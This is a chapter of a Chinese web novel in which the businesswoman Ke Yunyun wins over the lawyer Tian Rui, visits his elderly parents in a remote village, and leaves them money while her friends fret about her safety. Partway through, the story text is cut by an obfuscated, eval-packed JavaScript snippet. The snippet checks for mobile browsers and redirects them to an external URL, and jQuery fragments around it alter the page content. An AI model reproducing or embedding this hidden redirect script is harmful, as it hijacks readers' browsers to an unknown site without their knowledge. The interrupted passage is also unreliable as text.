“败诉都能申请上诉,因为一次错误的选择,就不再相信别人,怀疑自己,是个很愚蠢的决定,我选择你,只是我个人选择你,和柯家没关系,你不用担心有牵扯。”柯允蕴向他表态,语调平缓:“田锐,小孩学走路,哪个没摔过?难道摔一次就不学了吗?不走了吗?不跑了吗?不长大了吗?小孩子都不怕,你怕什么呢,爬起来站起来再试试,又有什么关系呢?”
田锐看着落地玻璃反光透出他们的景象,双肩轻颤,笑了起来,他一个三十多岁的人,在咖啡厅里听一个二十出头的人讲小孩鸡汤,风凉话听太多,挫折也没什么人能聊,真容易钻牛角尖啊。
谭思皱眉,看了眼端正坐着的柯允蕴,又盯着胡茬都没剃歪歪斜斜坐在椅子里笑的男人,欲言又止。
她想起柯允蕴刚去公司,底下同事们和外界对她的评价,有好的,有坏的,有难听,就像雨滴一样砸她身上,她坦然接受,安静做着自己认为对的事,眼里只看的见目标,那时,她不明白为什么不辩解,现在似乎懂了,柯允蕴内心远比很多人强大,辩解不如结果有效。
哪怕她做不好,柯允蕴没有责怪过她,还告诉她错在哪里,这也是她为什么愿意付出十二分努力去完成柯允蕴交给自己的任务,她有一种直觉,柯允蕴是一定会给她相应回报的人。
多庆幸,柯允蕴也选择了她。
柯允蕴等他笑够,把笔帽拔出来,递给他。
田锐签了。
“我过几天回去装修,钱打入公账吧,我再信你一次,柯小孩。”田锐心里的大石头一下子被搬开,整个人也都活络了些。
柯允蕴不在意他的称呼,笑了下:“好,我等你,我听说伯父伯母也在这边,我想探望他们,方便吗?”
“方便,我开车过来。”田锐将头发扒拉上去,伸了下腰,拿走属于他那份的合同,大大咧咧从咖啡厅出去。
谭思将笔帽盖回去,理整齐文件:“柯总,他怎么突然就签了。”
“大概是给我这个小孩一个机会吧。”柯允蕴轻笑,食指勾起包包链条绕到肩,出去等他,毕竟除了利益,感情牌也是必不可少的。
谭思将合同塞进文件袋:“柯总,我先上楼拿补品下来。”
“好。”柯允蕴解锁手机,划开通讯录,点开对话框:[带时灿去做个全身检查。],拨通另一个号码:“哥,我发地址给你,等你忙完一起吃饭。”
“嗯,忙完我给你电话。”丁启亮搅拌着面前的粥,矮桌摇摇晃晃,他望着斜对面小巷走出来的两道身影,放下勺子,掏了十块给老板,抬脚走向那两人进去的便利店。
田锐老家偏僻,颠簸近两个小时,才拐进个没开发还保留原生态的村子,窗外,两侧茂盛的树冠交错,底下是一片片金灿灿成熟的稻谷,黄土路扬起细碎的粉末,二十多分钟,连一户人家都没有,不知栽种田地的人家,要跋涉多久才能抵达这里收割。
谭思瞧着路越偏,越攥紧手机时刻准备报警,止不住想起那些新闻,面对这环境,脑子浮现腐叶底下的分肢,山下抛尸,洞口谋杀,拐卖妇女.....
柯允蕴将掌心覆盖她的手背,低声安慰:“放松点,没事的。”
田锐连日压在胸口的大石卸下,精神松动,来了吓吓她的兴致:“你看见那座山头没?是个不错的作案地点,把人绑了推下去,少说死个十天半个月不会被人发现,喏,你右手边的山洞看见没,最好的地点,什么都不用做,把人困在里面,放把火封住,过几天就能得到一个饿死呛死的烟熏人。”
“你说,我要是在这里对你们做点什么,你就是报警,等出警这段路,够我....”田锐单手搭在方向盘,抬起右手在喉咙比划一下,面目狰狞,发出咔一声。
车底盘发出一阵响声,谭思尖叫声在车内回荡,她恶狠狠瞪着他:“我警告你,不要乱来,我们两个人对你一个,还说不定是谁遭殃!”没有一点气势。
柯允蕴将她拉住,拍拍背,凉凉望着田锐:“别吓她。”
“好好,真吓到了?就这胆子,还敢天天跟我到处转呢。”田锐开进拱形洞口,车内昏暗,车前灯照着,坑坑洼洼的路抖个不停。
天光涌入挡风玻璃,重见天日,几个黝黑的小孩,拿着纸飞机跑来跑去,老人扛着锄头呵斥他们看车,田锐降下车窗跟他们打招呼,在那栋小二层砖房前停车,算村里方圆十里的新房,楼顶栏杆晒着一圈萝卜干,衣服还在二楼滴着水。
“现在放心了?”田锐拔出车钥匙往兜里揣,掀开后备箱提七八个补品盒,脚边围栏里的鸡鸭鹅叽叽嘎嘎叫。
谭思讪讪,帮忙盖后备箱,嘟囔:“我没来过嘛。”
老人叼着水烟筒伸长脖子看向门外,立马将水烟筒放到墙角,转头朝二楼扯着嗓子喊:“老婆子,田锐带朋友到了,赶紧下来。”
老婆婆弯腰从二楼栏杆往下看,慌忙搭完最后一摞萝卜干:“哎哎,来了,这就下来啊。”
她扶着铁梯颤巍巍往下挪,走进里屋,想伸手去握手又想起刚晾完萝卜,伸手往裤子里擦擦,局促:“小,小姑娘,你们好啊,啊,你们坐坐,等等,我给擦擦。”
忙前忙后擦拭凳子,又怕城里的孩子介意,找了纸巾多擦几次。
“不要紧的,阿姨。”柯允蕴抓住她那双枯藤似得的手,笑笑:“别忙,我们就是过来看看你们。”
老公公拦着田锐,不让他收这些东西,布满老茧的手提到柯允蕴面前:“这些东西也不太会吃,这么贵,给我们真浪费了,待会你们年轻人拿回去吃啊。”
“叔叔,一点心意,这个你炖汤放点,这个打开就能喝,这个泡水喝,收着吧。”柯允蕴绕过他们递给田锐。
“收着吧爸妈,她是我合伙人,投不少钱到我这呢,给个面子。”田锐干脆利落将东西往角落一塞,拉着他们二老说悄悄话:“别推来推去闹太难看。”
老两口相视一眼,更不自在,不敢置信看向那两个年纪轻轻的女孩,田锐没和他们说什么,可自家孩子,心里清楚,如果不是遇到问题,不会是这种状态,这些日子着急,又帮不上,现在见他高兴的劲,想来是真解决了。
老田搓搓手,打定主意:“老婆子,我去宰那只老鹅,你去地里拔青菜,葱蒜都拿点,再去隔壁买几斤牛肉,今晚做顿好的,谢谢她们。”
田老太诶诶应着,拿出珍藏很久的牛奶先招待她们。
“不用那么客气,简单吃点就行。”柯允蕴接下牛奶,眉眼带笑分一盒给谭思。
田锐抬着凳子出去:“让他们做吧,不然不安心。”
谭思不经意见到日期,刚想说什么,被柯允蕴不动声色按下,轻轻摇头制止。
阳光西下,金光漫过房子。
老田提了锅热水到井边,让田锐帮忙抓着,揪几根脖子的毛,手起刀落放血,做完后,将他赶过去和她们说说话。
“这碗我洗过,家里没什么人来,没杯子。”
“井水煮的?”柯允蕴确实有点渴,端过去喝了,有点甘甜。
田锐点头:“嗯,凉白开。”
谭思跟着一起端着喝,好奇:“你平时会很少回家吗?”
“嗯,回来也呆不了几天,就被赶出去上班,四十才生我,今年七十来岁,以前呢,为了让我出人头地,辛辛苦苦把我供完,现在也不愿意耽误我工作,这里的人没多大见识,都以为律师是个很了不起的好工作,有本事。”田锐蹲着拿起他爸的水烟筒,塞满烟丝,点火,猛吸几口,缓缓吐出:“其实,最没用就是他们的儿子了。”
柯允蕴颔首,目光掠过红砖围砌的院子,墙角青苔攀上,四处摆放整齐,地面干净,显然是细心打扫过的。
田锐顺着她的视线,放下水烟筒:“这房子,是他们一砖一瓦盖起的。”
“想过带他们出去吗?”
“怎么没想?做梦都想,买车买房赡养父母,娶妻生子过好日子,现实是什么呢?呐,出去这么多年,那台车还是贷款买的,想装一下,还真是装一下。”田锐眯起眼望向那辆黑色小车,最难的时候都没想过卖掉它:“做我们这行多少有点风险,不想他们一把年纪担心我,也不想违背良心做一些事,人嘛,就是不上不下才矛盾。”
柯允蕴转头看着那辆车,行驶在这种路况上,还能保持崭新,看得出来,主人有多爱惜。
暮色降临,搬到院子里的木桌摆着七八个粗瓷碗,鹅肉做好几种做法,炝牛肉,蒜蓉青菜,二老怕她们介意,总是端起菜碗让她们夹菜,忙忙碌碌,自己却没吃几口。
谭思饿一天,完全不客气,见他们那样,赶紧给他们夹点,吃完帮忙收拾碗筷,二老推搡,你来我往。
柯允蕴握着手机绕着那片小地方踱步,时断时续的电流声在耳侧响着,偶尔还能听见对面一两个字,半句话,信号不太好,傍晚门口的小飞蚊一堆堆扑在眼前,叹气:“等我回去再说。”
千里外的闻以宁两手一摊,往沙发倒去:“两个女孩,连个人都不带,就敢跟个陌生男人开车进山。”
范经伦蹙眉:“她以前一个人到处去,怎么没见你操心?”
闻以宁和他对视一眼:“可能是以前没出过事?可能是我上年纪了?”
“二十出头就上年纪?”范经伦都懒得说他,这叫上年纪,他不是马上要成他祖宗了?
闻以宁颓然笑了下:“嗯,我接受不了你们任何一个人出事。”
范经伦秒懂他的意思,平时不可一世的人,想听这话绝不可能,能从他嘴里遛出来,真焦虑上了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560445|186943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“啧,都说祸害遗千年呢,就允蕴那小坏蛋,怎么也到百岁啊。”范经伦看他这样子,伸手搭到他肩:“我们也是,都好着呢,哥保准走你后头。”还不忘占他个便宜。
闻以宁闷闷的嗯了声,根本没听清他说什么。
他没反驳?他没反驳?完了,真矫情上了。
范经伦:“我们给他发信息吧,有信号就能收到的。”
贾远在吧台边上帮时灿换药,偷瞄他一眼,还被抓到:“怎么了?”
“你不担心吗?”贾远余光扫见范经伦在哄闻以宁,不亚于见太阳从西边升起,东边落下的惊讶程度。
时灿将右手抬起,把手机放吧台上推过去,贾远瞟到屏幕显示一串熟悉的号码,嘟嘟嘟...断了。
柯允蕴将手机塞回包里,趁乱绕过他们,偷偷将所有现金放进竹篮里盖着,刚出门,田老太佝偻着背提出一箱牛奶送给她。
柯允蕴展颜一笑:“谢谢阿姨,两个人在家要好好照顾自己,我们下次会再来。”接你们。
“哎哎,你们开车注意安全啊。”
柯允蕴提牛奶放到后座,降下车窗朝他们摇手,示意他们回去,车开远,后视镜里的他们渐渐变小。
谭思撑一段时间,慢慢挨着车窗,摇摇晃晃睡着了。
晚上九点半,道路平稳,不久,酒店灯光映入车里。
柯允蕴提着那箱沉重的牛奶下车:“回去见,这几天好好陪陪他们吧。”
“行,回去见。”田锐笑着转方向盘,倒车。
柯允蕴顿足,倒退几步,转身喊住田锐:“找时间接他们出来吧。”
田锐一愣,他摆摆手:“好,上去吧。”
谭思一路跟着柯允蕴上楼,视线停在那浸湿过的箱子,她在门口站定,踌躇:“柯总。”
柯允蕴嗯了声,刷卡开门,将卡放上去,将东西放在玄关柜子里:“怎么啦?”
“我好喜欢你。”
柯允蕴诧异一瞬,随即开玩笑逗她:“但我...性取向是男诶。”
谭思反应过来,手指握着背包带子,解释:“不是这个意思,是我对你这个人的喜欢,单纯喜欢,没有任何别的意思,我很喜欢你,也很喜欢这份工作,柯总,谢谢你选择我,谢谢你。”
柯允蕴倚靠在门边,看着她后退半步,朝自己郑重鞠躬,站直,抬头注视,两只眼睛亮亮的,她笑了下:“谢谢你的喜欢,今天辛苦你啦,早点休息。”
谭思雀跃抱着包,跑到对面房间,又探出头招招手:“柯总,晚安。”
柯允蕴从热腾腾浴室出来,坐到床边拿起充电的手机开机,通知叮叮叮涌出,号码跃出,她接起:“哥。”
“我今晚还有事,你先睡,明天早上带早餐给你。”丁启亮这会蹲在酒吧隔壁店,吃着泡面,注意力一直在门口:“先不说。”
他那边传来‘彭’一声,像是重物砸落地一般,她那句注意安全...没来得及说。
柯允蕴看着又一串熟悉号码跳动:“嗯哼?”
“回酒店了?”那边很安静。
“嗯,刚到,你还没睡呀?”柯允蕴轻挑眉。
“嗯,睡不着。”时灿直言。
“在想什么呢?”柯允蕴屈膝窝在阳台的吊椅里,放扩音,震惊看着屏幕满屏通知,闻斐36个未接通,闻以宁21个,范经伦短信五六条。
而现在通话的号码……未接67个。
“等你安全回酒店。”时灿语气平平,没有一丝暧昧:“现在要睡了。”
柯允蕴一愣,迅速应声好,主动挂了电话。
她点开贾远的对话框,打开图片,范经伦和闻以宁勾肩搭背搂在一起,放大仔细看,一脸丧气。
柯允蕴指尖悬着,给闻以宁回电话,耐心听五分钟控诉,五分钟心理历程,五分钟惆怅,五分钟叮嘱,又诚心诚意用三分钟和他保证。
闻以宁手机接二连三震动,他狐疑看着范经伦敲个没完,他拿下来扫了眼:“……”
“是吗?如果你不在群里聊个不停,我就信你了。”闻以宁冷笑。
范经伦抬眸看过去,默默收起手机。
柯允蕴话头止住,手指一顿:“……”
“行了,聊吧。”闻以宁心里那点不安都被打岔了,也续不上了,难得她这么耐心,25分钟。
柯允蕴边回房关灯,边回小群消息,闻以宁甩了几个:微笑.jpg,群里顿时安静。
另一边的田锐回到家已经十二点多,父母依然在门口等着,手上拿了一沓钱,焦急迎上他。
“田锐,这钱可能是那孩子放篮子里的,你还给她,我们家不能白白拿人家的钱呀,今晚也没好好招待她们,怎么能拿她们的钱呢?”老田抓着钱塞给他。